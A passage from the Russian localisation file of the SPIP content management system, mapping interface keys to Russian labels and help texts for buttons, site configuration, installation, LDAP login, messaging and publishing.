'bouton_checkbox_signature_unique_site' => 'только одна подпись за вебсайт',
'bouton_demande_publication' => 'Запрос на публикацию этой статьи',
'bouton_desactive_tout' => 'Отключить все',
'bouton_desinstaller' => 'Удалить',
'bouton_effacer_index' => 'Удалить индексацию',
'bouton_effacer_tout' => 'Удалить ВСЕ',
'bouton_envoi_message_02' => 'ОТПРАВИТЬ СООБЩЕНИЕ',
'bouton_envoyer_message' => 'Отправить сообщение',
'bouton_fermer' => 'Закрыть',
'bouton_mettre_a_jour_base' => 'Обновить базу данных',
'bouton_modifier' => 'Изменить',
'bouton_pense_bete' => 'ЛИЧНАЯ ЗАПИСКА',
'bouton_radio_activer_messagerie' => 'Включить внутреннюю передачу сообщений',
'bouton_radio_activer_messagerie_interne' => 'Включить внутреннюю передачу сообщений',
'bouton_radio_activer_petition' => 'Включить комментарии',
'bouton_radio_afficher' => 'Показать',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Показывать в списке находящихся на сайте редакторов',
'bouton_radio_desactiver_messagerie' => 'Выключить передачу сообщений',
'bouton_radio_envoi_annonces_adresse' => 'Отправить объявления на адрес:',
'bouton_radio_envoi_liste_nouveautes' => 'Отправить список последних новостей',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Не показывать в списке находящихся на сайте редакторов',
'bouton_radio_non_envoi_annonces_editoriales' => 'Не отправлять никаких редакционных объявлений',
'bouton_radio_pas_petition' => 'Отключить комментарии',
'bouton_radio_petition_activee' => 'Включить комментарии',
'bouton_radio_supprimer_petition' => 'Удалить комментарии',
'bouton_redirection' => 'ПЕРЕАДРЕСОВЫВАТЬ',
'bouton_relancer_installation' => 'перезапуск установки',
'bouton_suivant' => 'Следующий',
'bouton_tenter_recuperation' => 'Пробуем отремонтировать базу',
'bouton_test_proxy' => 'Проверить прокси',
'bouton_vider_cache' => 'Очистить кэш',
'bouton_voir_message' => 'Предварительный просмотр сообщения перед утверждением',
// C
'cache_mode_compresse' => 'Файлы кэш сохранены в сжатом режиме.',
'cache_mode_non_compresse' => 'Файлы кэш записаны в несжатом режиме.',
'cache_modifiable_webmestre' => 'Этот параметр может быть изменен только вебмастером.',
'calendrier_synchro' => 'Если Вы используете календарь, совместимый с <b> iCal </b>, Вы можете согласовать его с данными сайта.',
'config_activer_champs' => 'Включить следующие поля',
'config_choix_base_sup' => 'Выберите базу на этом сервере',
'config_erreur_base_sup' => 'SPIP не может отобразить список доступных баз данных',
'config_info_base_sup' => 'Если Вам необходим запрос других баз данных, используя SPIP, не зависимо от того находятся ли они на том же SQL сервере или где-нибудь еще, используйте форму показанную ниже для их описания. Если Вы оставите некоторые поля пустыми, то связанные детали будут использоваться с основной базой данных.',
'config_info_base_sup_disponibles' => 'Дополнительные базы данных для которых могут быть отправлены запросы:',
'config_info_enregistree' => 'Новые настройки сохранены',
'config_info_logos' => 'Каждому элементу сайта можно установить свой логотип и также логотип для отображения "при наведении мышки" ',
'config_info_logos_utiliser' => 'Включить загрузку логотипов к материалам',
'config_info_logos_utiliser_non' => 'Отключить загрузку логотипов к материалам',
'config_info_logos_utiliser_survol' => 'Разрешить добавлять логотип для отображения "при наведении мышкой" ',
'config_info_logos_utiliser_survol_non' => 'Запретить добавлять логотип для отображения "при наведении мышкой" ',
'config_info_redirection' => 'Виртуальная статья - это возможность перенаправлять посетителей на по произвольному URL, как другую страницу этого сайта, так и на любую ссылку в интернете.',
'config_redirection' => 'Виртуальные статьи (редирект)',
'config_titre_base_sup' => 'Описание дополнительной базы данных',
'config_titre_base_sup_choix' => 'Выберите дополнительную базу данных',
'connexion_ldap' => 'Соединение:',
'copier_en_local' => 'Скопировать для локального сайта',
'creer_et_associer_un_auteur' => 'Создать и добавить автора',
'creer_et_associer_une_rubrique' => 'Создать и добавить раздел',
// D
'date_mot_heures' => ':',
// E
'ecran_securite' => ' + сервис безопасности @version@',
'email' => 'email',
'email_2' => 'email:',
'en_savoir_plus' => 'подробнее',
'entree_adresse_annuaire' => 'Справочник адресов',
'entree_adresse_email' => 'E-mail',
'entree_adresse_email_2' => 'E-mail',
'entree_base_donnee_1' => 'Сервер базы данных',
'entree_base_donnee_2' => '(Обычно - "localhost", но вы можете уточнить в настройках хостинга)',
'entree_biographie' => 'О авторе',
'entree_chemin_acces' => '<b>Войти</b> в путь:',
'entree_cle_pgp' => 'Ваш PGP ключ',
'entree_cle_pgp_2' => 'Ключ PGP ',
'entree_contenu_rubrique' => '(Краткое содержание раздела.)',
'entree_identifiants_connexion' => 'Логин и пароль',
'entree_identifiants_connexion_2' => 'Информация о подключении',
'entree_informations_connexion_ldap' => 'Пожалуйста укажите параметры подключения к LDAP. Вы можете получить эту информацию у вашего системного администратора.',
'entree_infos_perso' => 'О авторе',
'entree_infos_perso_2' => 'Кто автор ?',
'entree_interieur_rubrique' => 'В разделе:',
'entree_liens_sites' => '<b>Гипрссылка</b> (ссылка, сайт для посещения ...)',
'entree_login' => 'Ваш логин',
'entree_login_connexion_1' => 'Логин соединения',
'entree_login_connexion_2' => '(Иногда соответствует Вашему логину FTP доступа и иногда остается пустым)',
'entree_login_ldap' => 'Начальный LDAP логин ',
'entree_mot_passe' => 'Ваш пароль',
'entree_mot_passe_1' => 'Пароль',
'entree_mot_passe_2' => '(Иногда соответствует Вашему паролю FTP доступа и иногда остается пустым)',
'entree_nom_fichier' => 'Пожалуйста, выберите файл с резервной копией @texte_compresse@:',
'entree_nom_pseudo' => 'Ваше имя или псевдоним',
'entree_nom_pseudo_1' => '(Ваше имя или псевдоним)',
'entree_nom_pseudo_2' => 'Имя или псевдоним',
'entree_nom_site' => 'Название Вашего сайта',
'entree_nom_site_2' => 'Название сайта',
'entree_nouveau_passe' => 'Новый пароль',
'entree_passe_ldap' => 'Пароль',
'entree_port_annuaire' => 'Номер порта в каталоге',
'entree_signature' => 'Подпись',
'entree_titre_obligatoire' => '<b>Заголовок</b> [обязательно]<br />',
'entree_url' => 'Адрес Вашего сайта',
'entree_url_2' => 'URL',
'erreur_connect_deja_existant' => 'Уже существует сервер с таким названием',
'erreur_nom_connect_incorrect' => 'Недопустимое имя сервера',
'erreur_plugin_desinstalation_echouee' => 'Не удалось удалить плагин, но вы можете отключить его.',
'erreur_plugin_fichier_absent' => 'Не хватает файла(ов)',
'erreur_plugin_fichier_def_absent' => 'Отсутствует описание файла ',
'erreur_plugin_nom_fonction_interdit' => 'Запрещенное название функции',
'erreur_plugin_nom_manquant' => 'Отсутствует название плагина ',
'erreur_plugin_prefix_manquant' => 'Неопределено пространство имен плагина',
'erreur_plugin_tag_plugin_absent' => '<plugin> отсутствует в файле описания',
'erreur_plugin_version_manquant' => 'Отсутствует версия плагина',
// H
'htaccess_a_simuler' => 'Внимание: в настройках веб-сервера отключено использование @htaccess@ файлов. Для обеспечение достаточного уровня безопасности внесите изменения в настройки сервера самостоятельно или обратитесь в техническую поддержку хостинга.
Так же вы можете задать константы @constantes@ (в файле mes_options.php) так, что бы эти файлы находились все папки @document_root@.',
'htaccess_inoperant' => 'htaccess не рабочий',
// I
'ical_info1' => 'Эта страница представляет Вам несколько методов для поддержки связи с деятельностью этого сайта',
'ical_info2' => 'Вы можете узнать больше в <a href="@spipnet@">документации о SPIP </a>.',
'ical_info_calendrier' => 'В Вашем распоряжении есть два календаря. Первый - это карта сайта, показывающая все опубликованные статьи. Второй содержит редакторские объявления точно также, как и Ваши последние личные сообщения: он сохранен для Вас, благодаря ключу, который Вы можете изменить в любое время подтвердив свой пароль.',
'ical_methode_http' => 'Загрузить',
'ical_methode_webcal' => 'Синхронизация (webcal://)',
'ical_texte_js' => 'Вы можете вставить этот javascript код на любой сайт для того, что бы отображать последние опубликованные статьи и материалы вашего сайта.',
'ical_texte_prive' => 'Этот календарь является строго личным, он информирует Вас о работе со статьями на этом сайте (задачи, персональные настройки, отправленные статьи и новости дня ...).',
'ical_texte_public' => 'Этот календарь позволяет Вам следить за основной деятельностью этого сайта (публикация статей и новостей).',
'ical_texte_rss' => 'Вы можете экспортировать последние обновления на вашем сайте в формате XML/RSS (Rich Site Summary). Так же, благодаря этому формату данных, вы можете импортировать информацию с других сайтов в Интернете. ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Список адресатов',
'ical_titre_rss' => 'Получение статей и новостей с других сайтов по RSS',
'icone_accueil' => 'Главная',
'icone_activer_cookie' => 'Поместить cookie',
'icone_activite' => 'Обратная связь',
'icone_admin_plugin' => 'Плагины',
'icone_administration' => 'Обслуживание',
'icone_afficher_auteurs' => 'Показать авторов',
'icone_afficher_visiteurs' => 'Показать посетителей',
'icone_arret_discussion' => 'Прекратить участие в этом обсуждении',
'icone_calendrier' => 'Календарь',
'icone_configuration' => 'Настройки',
'icone_creer_auteur' => 'Создать автора и добавить к статье',
'icone_creer_mot_cle' => 'Создать ключ и добавить к статье',
'icone_creer_mot_cle_rubrique' => 'Создать ключ и добавить к разделу',
'icone_creer_mot_cle_site' => 'Создать ключ и добавить к сайту',
'icone_creer_rubrique_2' => 'Новый раздел',
'icone_edition' => 'Сайт',
'icone_envoyer_message' => 'Отправить сообщение',
'icone_ma_langue' => 'Язык',
'icone_mes_infos' => 'Профиль',
'icone_mes_preferences' => 'Мои настройки',
'icone_modifier_article' => 'Изменить статью',
'icone_modifier_message' => 'Изменить это сообщение',
'icone_modifier_rubrique' => 'Изменить этот раздел',
'icone_publication' => 'Публикации',
'icone_relancer_signataire' => 'Опять связаться с подписавшимся',
'icone_retour' => 'Назад',
'icone_retour_article' => 'Назад к статье',
'icone_squelette' => 'Шаблоны',
'icone_suivi_publication' => 'Свежие обновления',
'icone_supprimer_cookie' => 'Удалить cookie',
'icone_supprimer_rubrique' => 'Удалить этот раздел',
'icone_supprimer_signature' => 'Удалить эту подпись',
'icone_valider_signature' => 'Утвердить эту подпись',
'image_administrer_rubrique' => 'Вы можете управлять этим разделом',
'impossible_modifier_login_auteur' => 'Невозможно изменить логин.',
'impossible_modifier_pass_auteur' => 'Невозможно изменить пароль.',
'info_1_article' => '1 статья',
'info_1_article_syndique' => '1 загруженная статья',
'info_1_auteur' => '1 автор',
'info_1_message' => '1 сообщение',
'info_1_mot_cle' => '1 ключ',
'info_1_rubrique' => '1 раздел',
'info_1_site' => '1 сайт',
'info_1_visiteur' => '1 посетитель',
'info_activer_cookie' => 'Вы можете включить<b>администраторский cookie</b>, который позволяет Вам
легко переключаться между основной и административной частью сайта ..',
'info_admin_etre_webmestre' => 'Предоставить мне права вебмастера',
'info_admin_gere_rubriques' => 'Этот администратор управляет следующими разделами:',
'info_admin_gere_toutes_rubriques' => 'Администратор управляет<b> всеми разделами</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Я управляю <b>всеми разделами</b>',
'info_admin_je_suis_webmestre' => 'Я <b>вебмастер</b>',
'info_admin_statuer_webmestre' => 'Сделать администратора вебмастером сайта',
'info_admin_webmestre' => 'Администратор является <b>вебмастером</b>',
'info_administrateur' => 'Администратор',
'info_administrateur_1' => 'Aдминистратор',
'info_administrateur_2' => 'на этом сайте(<i>использовать с предостережением</i>)',
'info_administrateur_site_01' => 'Если Вы администратор сайта, пожалуйста',
'info_administrateur_site_02' => 'нажмите на эту ссылку',
'info_administrateurs' => 'Администраторы',
'info_administrer_rubrique' => 'Вы можете управлять этим разделом',
'info_adresse' => 'на адрес:',
'info_adresse_url' => 'Адрес сайта (URL)',
'info_afficher_par_nb' => 'Показать',
'info_afficher_visites' => 'Показать посещения для:',
'info_aide_en_ligne' => 'SPIP Oнлайн Помощь',
'info_ajout_image' => 'Когда Вы добавляете изображения как прикрепленные документы к статье,
SPIP может автоматически создать уменьшенную копию
вставленных изображений. Это позволит,например,автоматически
создавать галерею или портфолио.',
'info_ajout_participant' => 'Был добавлен следующий участник:',
'info_ajouter_rubrique' => 'Добавить другой раздел для управления:',
'info_annonce_nouveautes' => 'Анонсы последних новостей',
'info_anterieur' => 'предыдущий',
'info_article' => 'статья',
'info_article_2' => 'статьи',
'info_article_a_paraitre' => 'Статьи, которые будут опубликованы в будущем',
'info_articles_02' => 'статьи',
'info_articles_2' => 'Статьи',
'info_articles_auteur' => 'Статьи этого автора',
'info_articles_miens' => 'Мои статьи',
'info_articles_tous' => 'Все статьи',
'info_articles_trouves' => 'Найденные статьи',
'info_articles_trouves_dans_texte' => 'Статьи найденные в тексте',
'info_attente_validation' => 'Ваши статьи на утверждении',
'info_aucun_article' => 'Нет статей',
'info_aucun_article_syndique' => 'Нет загруженных статей',
'info_aucun_auteur' => 'Нет авторов',
'info_aucun_message' => 'Нет сообщений',
'info_aucun_rubrique' => 'Нет разделов',
'info_aucun_site' => 'Нет сайтов',
'info_aucun_visiteur' => 'Нет посетителей',
'info_aujourdhui' => 'сегодня:',
'info_auteur_message' => 'ОТПРАВИТЕЛЬ СООБЩЕНИЯ:',
'info_auteurs' => 'Автора',
'info_auteurs_par_tri' => 'Автора@partri@',
'info_auteurs_trouves' => 'Найденные автора',
'info_authentification_externe' => 'Внешнее подтверждение подлинности',
'info_avertissement' => 'Предупреждение',
'info_barre_outils' => 'с панелью инструментов?',
'info_base_installee' => 'Структура Вашей базы данных установлена.',
'info_bio' => 'Био',
'info_cache_desactive' => 'Кеширование временно отключено.',
'info_chapeau' => 'Вводная',
'info_chapeau_2' => 'Введение:',
'info_chemin_acces_1' => 'Опции: <b>Путь доступа к каталогу</b>',
'info_chemin_acces_2' => 'Теперь Вы должны настроить путь доступа к каталогу информации. Эта информация необходима для просмотра профилей пользователей, хранящихся в каталоге.',
'info_chemin_acces_annuaire' => 'Опции: <b>Путь доступа к каталогу</b>',
'info_choix_base' => 'Третий этап:',
'info_classement_1' => ' из @liste@',
'info_classement_2' => ' из @liste@',
'info_code_acces' => 'Не забудьте свой пароль!',
'info_compatibilite_html' => 'Использовать стандартный HTML ',
'info_compresseur_gzip' => 'Убедитесь, что настройки хостинга поддерживают сжатие HTML. Для этого воспользуйтесь этим сайтом: @testgzip@',
'info_compresseur_texte' => 'Если Ваш сервер автоматически не сжимает HTML страницы при их отправке, Вы можете попробывать вынужденное сжатие для уменьшения размера передаваемых страниц. <b>Внимание</b>: это может иметь заметный негативный эффект на производительность некоторых серверов, ',
'info_config_suivi' => 'Если этот адрес соответствует списку адресатов, Вы можете указать ниже адрес, где участники сайта могут зарегистрироваться. Этим адресом может быть адрес сайта(например страница списка регистрации через сеть), или адрес электронной почты с определенным предметом (например: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Вы можете подписаться на почтовую рассылку этого сайта. Тогда Вы будете получать на email информацию по статьям и новостям, отправленных для публикации.',
'info_confirmer_passe' => 'Подтвердите новый пароль:',
'info_conflit_edition_avis_non_sauvegarde' => 'Внимание: следующие поля были изменены в другом месте. Поэтому Ваши изменения в этих полях не были сохранены.',
'info_conflit_edition_differences' => 'Различия:',
'info_conflit_edition_version_enregistree' => 'Сохраненная версия:',
'info_conflit_edition_votre_version' => 'Ваша версия:',
'info_connexion_base' => 'Второй этап: <b>подключение к базе данных</b>',
'info_connexion_base_donnee' => 'Параметры подключение к базе данных',
'info_connexion_ldap_ok' => '<b>Cоединение c LDAP установлено. </b> <p> Вы можете перейти к следующему шагу.</p>',
'info_connexion_mysql' => 'Подключение к SQL',
'info_connexion_ok' => 'Соединение установлено.',
'info_contact' => 'Контакт',
'info_contenu_articles' => 'Содержание статей',
'info_contributions' => 'Contributions',
'info_creation_paragraphe' => '(Разделяйте абзацы пустыми строками)',
'info_creation_rubrique' => 'Создай те хотя бы один раздел, для того, что бы создавать статьи.<br />',
'info_creation_tables' => 'Четвертый этап: <b>Создание таблиц базы данных</b>',
'info_creer_base' => '<b>Создать</b> новую базу данных:',
'info_dans_rubrique' => 'В разделе:',
'info_date_publication_anterieure' => 'Дополнительная дата:',
'info_date_referencement' => 'ДАТА ССЫЛКИ НА ЭТОТ САЙТ:',
'info_derniere_etape' => 'Следующий этап: <b>Готово!',
'info_derniers_articles_publies' => 'Ваши последние опубликованные статьи',
'info_desactiver_messagerie_personnelle' => 'Вы можете включать и отключать Ваши персональные сообщения на этом сайте.',
'info_descriptif' => 'Описание:',
'info_desinstaller_plugin' => 'удалить файлы и отключить плагин',
'info_discussion_cours' => 'Текущие обсуждения',
'info_ecrire_article' => 'Перед тем как написать статью, Вы должны создать хотя бы один раздел.',
'info_email_envoi' => 'Адрес электронной почты отправителя (дополнительно)',
'info_email_envoi_txt' => 'Введите используемый адрес электронной почты отправителя, посылая электронные письма (по умолчанию, адрес получателя используется как адрес отправителя), :',
'info_email_webmestre' => 'E-mail веб-мастера',
'info_entrer_code_alphabet' => 'Введите код используемого набора символов',
'info_envoi_email_automatique' => 'Автоматическая рассылка',
'info_envoyer_maintenant' => 'Отправить сейчас',
'info_etape_suivante' => 'Перейти к следующему этапу',
'info_etape_suivante_1' => 'Вы можете перейти к следующему этапу.',
'info_etape_suivante_2' => 'Вы можете перейти к следующему этапу.',
'info_exceptions_proxy' => 'Исключения для прокси',
'info_exportation_base' => 'экспортировать базу данных в @archive@',
'info_facilite_suivi_activite' => 'Для облегчения проверки исполнения редактирования сайта;
SPIP может рассылать уведомления по электронной почте, для редакторской почтовой рассылки например,
прошение о публикации и утверждение статьи.',
'info_fichiers_authent' => 'Файл подтверждения подлинности ".htpasswd"',
'info_forums_abo_invites' => 'Ваш сайт содержит форумы по подписке; посетители могут зарегистрироваться к ним на основном сайте.',
'info_gauche_admin_effacer' => '<b>Только администраторы имеют доступ к этой странице. </b> <p>Она обеспечивает доступ к ряду функциям по обслуживанию сайта. Некоторые из них требуют прав доступа к FTP сайта. </p> ',
'info_gauche_admin_tech' => '<b>Страница только для вебмастера сайта. </b><p> Вы можете выполнять задачи по эксплуатации сайта. Часть из них может потребовать FTP доступа к сайту.</p>',
'info_gauche_admin_vider' => '<b>Только вебмастера имеют доступ к этой странице. </b> <p> Тут есть возможность выполнять разные задачи по обслуживанию сайта. Для выполнения отдельных задач необходима доступ к сайту по FTP.</p>',
'info_gauche_auteurs' => 'Список всех авторов сайта.
Статус автора обозначен цветом (администратор = зеленый; автор = желтый).',
'info_gauche_auteurs_exterieurs' => 'Зарегистрировавшиеся пользователи обозначены синим цвета, а удаленные пользователи - иконкой корзины.',
'info_gauche_messagerie' => 'Передача сообщений позволяет обмениваться сообщениями между редакторами, сохранять записки (для Вашего личного использования) или показывать объявления на основной странице административной части (если Вы - администратор).',
'info_gauche_numero_auteur' => 'НОМЕР АВТОРА:',
'info_gauche_statistiques_referers' => 'Эта страница показывает список <i> ссылок </i>, то есть сайты, содержащие ссылки к Вашему личному сайту, только для вчера и сегодня: фактически этот список обновляется каждые 24 часа.',
'info_gauche_visiteurs_enregistres' => 'Вы найдете здесь зарегистрированных посетителей
в основной части сайта (форумы по подписке).',
'info_generation_miniatures_images' => 'Создание уменьшенных изображений',
'info_gerer_trad' => 'Включить перевод ссылок?',
'info_gerer_trad_objets' => '@objets@ : управление переводами',
'info_hebergeur_desactiver_envoi_email' => 'Некоторые хосты отключают автоматизированную отправку писем
на своих серверах. В этом случае следующие возможности
SPIP не могут быть осуществлены.',
'info_hier' => 'вчера:',
'info_historique_activer' => 'Вести историю изменений',
'info_historique_affiche' => 'Показать эту версию',
'info_historique_comparaison' => 'сравнить',
'info_historique_desactiver' => 'Отключить историю изменений',
'info_historique_texte' => 'История изменений это функция, которая ведет перечень всех правок, которые были внесены в статью или другую часть контента. Это дает вам возможность вернуться к более ранней версии документа или отменить часть правок.',
'info_identification_publique' => 'Ваша публичная идентификация...',
'info_image_process' => 'Выберите лучший метод для создания уменьшенной копии, нажимая на соответствующую картинку.',
'info_image_process2' => 'Если картинки не отображаются, это значит, что ваш хостинг не поддерживает разширения по работе с изображениями. Уточните в тех. поддержке хостинга о возможности использовать библиотеки "GD" или "Imagemagic".',
'info_images_auto' => 'Кэш файлов изображений',
'info_informations_personnelles' => 'Настройки профиля',
'info_inscription_automatique' => 'Автоматическая регистрация новых авторов',
'info_jeu_caractere' => 'Кодировка сайта',
'info_jours' => 'дни',
'info_laisser_champs_vides' => 'оставьте эти поля пустыми)',
'info_langues' => 'Языки сайта',
'info_ldap_ok' => 'Установление подлинности LDAP.',
'info_lien_hypertexte' => 'Гиперссылка:',
'info_liste_nouveautes_envoyee' => 'Информация о последних обновлениях отправлена',
'info_liste_redacteurs_connectes' => 'Автора онлайн',
'info_login_existant' => 'Этот логин уже используется.',
'info_login_trop_court' => 'Слишком короткий логин.',
'info_login_trop_court_car_pluriel' => 'Логин должен состоять минимум из @nb@ символов.',
'info_logos' => 'Логотипы',
'info_maximum' => 'максимум:',
'info_meme_rubrique' => 'В этом разделе:',
'info_message' => 'Сообщение от',
'info_message_efface' => 'СООБЩЕНИЕ УДАЛЕНО',
'info_message_en_redaction' => 'Ваше сообщение в ходе работы',
'info_message_technique' => 'Техническое сообщение:',
'info_messagerie_interne' => 'Внутренняя передача сообщений',
'info_mise_a_niveau_base' => 'обновление базы данных SQL',
'info_mise_a_niveau_base_2' => '{{Предупреждение!}} Вы установили версию
SPIP файлов {старше} чем та, которая была
предварительно установлена на этом сайте: Ваша база данных подвергается риску быть потерянной
и Ваш сайт больше не будет работать должным образом. <br /> {{Переустановите
SPIP Файлы.}}',
'info_modification_enregistree' => 'Ваши изменения сохранены',
'info_modifier_auteur' => 'Изменить автора:',
'info_modifier_rubrique' => 'Изменить раздел:',
'info_modifier_titre' => 'Изменить: @titre@',
'info_mon_site_spip' => 'Мой сайт ',
'info_mot_sans_groupe' => '(Ключи вне групп...)',
'info_moteur_recherche' => 'Встроенный поиск',
'info_moyenne' => 'в среднем:',
'info_multi_articles' => 'Включить языковое меню для статей?',
'info_multi_cet_article' => 'Язык этой статьи:',
'info_multi_langues_choisies' => 'Выберите языки для материалов на сайте. Вы не можете отключить уже используемые языки.
Языки, уже используемые Вашим сайтом(в верху списка) не могут быть отключены.',
'info_multi_objets' => '@objets@ : включить языковое меню',
'info_multi_rubriques' => 'Включить выбор языка в разделе?',
'info_multi_secteurs' => '... только для разделов в корне сайта?',
'info_nb_articles' => '@nb@ статей',
'info_nb_articles_syndiques' => '@nb@ RSS статей',
'info_nb_auteurs' => '@nb@ авторов',
'info_nb_messages' => '@nb@ сообщений',
'info_nb_mots_cles' => '@nb@ ключей',
'info_nb_rubriques' => '@nb@ разделов',
'info_nb_sites' => '@nb@ сайтов',
'info_nb_visiteurs' => '@nb@ посетителей',
'info_nom' => 'Имя',
'info_nom_destinataire' => 'Имя получателя',
'info_nom_site' => 'Название Вашего сайта',
'info_nombre_articles' => '@nb_articles@ статьи,',
'info_nombre_partcipants' => 'УЧАСТНИКИ ОБСУЖДЕНИЯ:',
'info_nombre_rubriques' => '@nb_rubriques@ разделы,',
'info_nombre_sites' => '@nb_sites@ сайты,',
'info_non_deplacer' => 'Не перемещать ...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP может регулярно отправлять новости, объявления сайта
(недавно изданные статьи и новости).',
'info_non_envoi_liste_nouveautes' => 'Не отправлять список последних новостей',
'info_non_modifiable' => 'не может быть изменен',
'info_non_suppression_mot_cle' => 'Я не хочу удалить этот ключ.',
'info_note_numero' => 'Заметка @numero@',
'info_notes' => 'Примечания',
'info_nouveaux_message' => 'Новые сообщения',
'info_nouvel_article' => 'Новая статья',
'info_nouvelle_traduction' => 'Новый перевод:',
'info_numero_article' => 'НОМЕР СТАТЬИ:',
'info_obligatoire_02' => '(обязательно)',
'info_option_accepter_visiteurs' => 'Включить регистрацию посетителей на сайте',
'info_option_faire_suivre' => 'Отправлять авторам комментарии к их статьям',
'info_option_ne_pas_accepter_visiteurs' => 'Отключить регистрацию посетителей на сайте',
'info_options_avancees' => 'ДОПОЛНИТЕЛЬНЫЕ НАСТРОЙКИ',
'info_ortho_activer' => 'Включить проверку орфографии',
'info_ortho_desactiver' => 'Отключить проверку орфографии.',
'info_ou' => 'или...',
'info_page_interdite' => 'Запрещенная страница',
'info_par_nom' => 'по названию',
'info_par_nombre_article' => 'по номерам статей',
'info_par_statut' => 'по статусу',
'info_par_tri' => '’(по @tri@)’',
'info_passe_trop_court' => 'Пароль слишком короткий.',
'info_passe_trop_court_car_pluriel' => 'Пароль должен содержать минимум @nb@ символов.',
'info_passes_identiques' => 'Два пароля не совпадают.',
'info_pense_bete_ancien' => 'Ваши старые заметки',
'info_plus_cinq_car' => 'более 5 символов',
'info_plus_cinq_car_2' => '(Более 5 символов)',
'info_plus_trois_car' => '(Более 3 символов)',
'info_popularite' => 'популярность: @popularite@; посещения: @visites@',
'info_popularite_4' => 'популярность: @popularite@; посещения: @visites@',
'info_post_scriptum' => 'Постскриптум',
'info_post_scriptum_2' => 'Постскриптум: ',
'info_pour' => 'для',
'info_preview_admin' => 'Разрешить пред.просмотр только администраторам',
'info_preview_comite' => 'Разрешить пред. просмотр всем авторам',
'info_preview_desactive' => 'Режим предварительного просмотра отключен',
'info_preview_texte' => 'Настройки пред. просмотра. Вы можете посмотреть как выглядят на сайте материалы со статусом "на утверждении". Включить эту возможность для всех авторов, только для администраторов или отключить вообще?',
'info_principaux_correspondants' => 'Ваши основные корреспонденты',
'info_procedez_par_etape' => 'пожалуйста выполняйте шаг за шагом',
'info_procedure_maj_version' => 'необходимо запустить процедуру обновления текущей базы данных для новой версии SPIP.',
'info_proxy_ok' => 'Прокси сервер работает.',
'info_ps' => 'P.S.',
'info_publier' => 'опубликовать',
'info_publies' => 'Ваши статьи, опубликованные на сайте:',
'info_question_accepter_visiteurs' => 'Если шаблоны Вашего сайта позволяют посетителям регистрироваться, не входя в административную часть, пожалуйста включите следующую опцию:',
'info_question_inscription_nouveaux_redacteurs' => 'Вы хотите разрешить регистрацию новых пользователей на сайте? Если да, то посетители смогут регистрироваться самостоятельно, используя стандартную форму. Так же у них будет доступ в административную часть сайта и возможность создавать новые материалы. <div class="notice"> Пароль для доступа будет отправлен пользователю по email автоматически. Если ваш хостинг не поддерживает отправку писем, то эта опция будет бесполезна.</div>',
'info_question_utilisation_moteur_recherche' => 'Использовать внутренний поиск SPIP? (Его отключение ускоряет работу системы.)',
'info_question_vignettes_referer_non' => 'Не показывать изображения главной страницы',
'info_qui_edite' => '@nom_auteur_modif@ работал над этим материалом @date_diff@ минут назад',
'info_racine_site' => 'Корень сайта',
'info_recharger_page' => 'Пожалуйста перезагрузите эту страницу через несколько минут.',
'info_recherche_auteur_a_affiner' => 'Слишком много результатов для "@cherche_auteur"; пожалуйста уточните запрос.',
'info_recherche_auteur_ok' => 'Несколько редакторов были найдены для "@cherche_auteur":',
'info_recherche_auteur_zero' => 'Ничего не найдено по запросу "@cherche_auteur@".',
'info_recommencer' => 'Пожалуйста попробуйте еще раз.',
'info_redacteur_1' => 'Автор',
'info_redacteur_2' => 'имея доступ к административной части(<i> рекомендовал </i>), ',
'info_redacteurs' => 'Автора',
'info_redaction_en_cours' => 'РЕДАКТИРУЕТСЯ',
'info_redirection' => 'Перенаправление',
'info_redirection_activee' => 'Перенаправление включено.',
'info_redirection_desactivee' => 'Перенаправление удалено.',
'info_refuses' => 'Ваши отклоненные статьи',
'info_reglage_ldap' => 'Опции<b> Настройка импорта LDAP</b>',
'info_renvoi_article' => 'Посетитель будет перенаправлен по следующей ссылке',
'info_reserve_admin' => 'Только администраторы могут изменить этот адрес.',
'info_restreindre_rubrique' => 'Ограничить управление разделом:',
'info_resultat_recherche' => 'Результаты поиска:',
'info_rubriques' => 'Разделы',
'info_rubriques_02' => 'разделы',
'info_rubriques_trouvees' => 'Найденные разделы',
'info_rubriques_trouvees_dans_texte' => 'Найденные разделы (в тексте)',
'info_sans_titre' => 'Без названия',
'info_selection_chemin_acces' => '<b>Выберите</b> путь доступа к каталогу:',
'info_signatures' => 'подписи',
'info_site' => 'Сайт',
'info_site_2' => 'Сайт:',
'info_site_min' => 'сайт',
'info_site_reference_2' => 'Ссылающийся сайт',
'info_site_web' => 'САЙТ:',
'info_sites' => 'сайты',
'info_sites_lies_mot' => 'Сайты с этим ключем',
'info_sites_proxy' => 'Использовать прокси',
'info_sites_trouves' => 'Найденные сайты',
'info_sites_trouves_dans_texte' => 'Найденные сайты(в тексте)',
'info_sous_titre' => 'Подзаголовок:',
'info_statut_administrateur' => 'Администратор',
'info_statut_auteur' => 'Права доступа:',
'info_statut_auteur_2' => 'Я',
'info_statut_auteur_a_confirmer' => 'Регистрация будет подтверждена',
'info_statut_auteur_autre' => 'Другой статус:',
'info_statut_efface' => 'Удалено',
'info_statut_redacteur' => 'Автор',
'info_statut_utilisateurs_1' => 'Статус по умолчанию для импортированных пользователей',
'info_statut_utilisateurs_2' => 'Выберите статус, характерный для присутствующих людей в каталоге LDAP, когда они подключаются впервые. Позже, Вы можете изменить это значение для каждого автора индивидуально.',
'info_suivi_activite' => 'Работа с материалами',
'info_surtitre' => 'Главное название:',
'info_syndication_integrale_1' => 'Ваш сайт предлагает объединенные файлы (смотрите “<a href="@url@">@titre@</a>”).',
'info_syndication_integrale_2' => 'Отправить статью полностью или только первые абзацы?',
'info_table_prefix' => 'Вы можете задать свой префикс для имен таблиц базы данных (благодаря этому вы можете установить несколько сайтов на одну базу данных). Для написания префикса используйте только прописные латинские буквы и цифры.',
'info_taille_maximale_images' => 'Максимальный размер картинок, с которыми может работать SPIP. Размер в картинок в пикселях.<br /> SPIP не сможет пережимать картинки большего размера.',
'info_taille_maximale_vignette' => 'Максимальный размер изображений, созданных системой:',
'info_terminer_installation' => 'Теперь Вы можете закончить стандартный процесс установки.',
'info_texte' => 'Текст',
'info_texte_explicatif' => 'Объяснительный текст',
'info_texte_long' => '(Длинный текст: он появится в нескольких частях, которые будут повторно собраны после утверждения.)',
'info_texte_message' => 'Текст сообщения:',
'info_texte_message_02' => 'Текст сообщения',
